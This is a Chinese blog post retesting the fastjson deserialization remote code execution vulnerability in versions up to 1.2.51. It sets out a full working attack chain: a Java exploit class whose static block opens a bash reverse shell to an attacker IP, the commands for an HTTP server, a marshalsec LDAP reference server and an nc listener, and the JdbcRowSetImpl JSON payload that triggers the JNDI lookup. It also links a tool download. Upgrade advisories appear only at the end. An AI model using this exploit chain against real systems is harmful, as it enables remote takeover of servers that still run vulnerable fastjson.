fastjson =< 1.2.51 反序列化漏洞实战复测

0x00:漏洞情况

前2周接到外部安全厂商阿里开源组件fastjson爆发高危漏洞预警,该漏洞可通过恶意构造Paylod发送JSON请求对系统进行远程代码执行,可导致直接获取服务器权限。前边很久之前对漏洞进行复测,确认通过该漏洞可直接获取服务器权限,漏洞风险高。

上边文章的介绍采用的是rmi的方式进行监听反弹,无奈没复测成功。今天将漏洞的ldap方式利用过程写成博客记录下形成笔记。

影响版本fastjson < 1.2.51.

安全版本fastjson >= 1.2.51

0x01:漏洞复现过程

演示环境信息:
攻击者机器:172.28.37.102
JDK版本:1.8.0_25
受害者:10.18.19.46:8080
fastjson-1.2.44.jar

1、准备文件放置到web目录下:Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;


public class Exploit{
    public Exploit() {}

    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/172.28.37.102/7777 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit e = new Exploit();
		System.out.println("hello world");
    }
}

2、攻击机器运行python快速形成http服务器:

《fastjson =< 1.2.51 反序列化漏洞实战复测》
python -m SimpleHTTPServer 8888

3、修改并编译上边的Exploit.java文件源代码将反弹shell的地址修改好,拷贝Exploit.class放在这个快速构建http服务器的web根目录

4、启动ldap服务,监听1389端口:

《fastjson =< 1.2.51 反序列化漏洞实战复测》
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.28.37.102:8888/#Exploit

5、执行监听:

《fastjson =< 1.2.51 反序列化漏洞实战复测》
nc -lvp 7777

6、 通过JSON请求发送数据包攻击服务器,获取服务器权限。修改抓到json的请求包,为以下内容。

《fastjson =< 1.2.51 反序列化漏洞实战复测》
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.28.37.102:1389/Exploit","autoCommit":true}

成功攻击服务器获取服务器权限。

《fastjson =< 1.2.51 反序列化漏洞实战复测》
工具下载地址:链接: https://pan.baidu.com/s/1Hw7u8UhASy2-r1F3JDtMfA
提取码: z67v
复制这段内容后打开百度网盘手机App,操作更方便哦

0x03: 外部漏洞预警

国家信息安全漏洞库:http://www.cnnvd.org.cn/web/bulletin/bulletinById.tag?mkid=150

阿里云:https://help.aliyun.com/noticelist/articleid/1060026793.html

官方漏洞公告提示升级fastjson组件:https://github.com/alibaba/fastjson/wiki/update_faq_20190722

点赞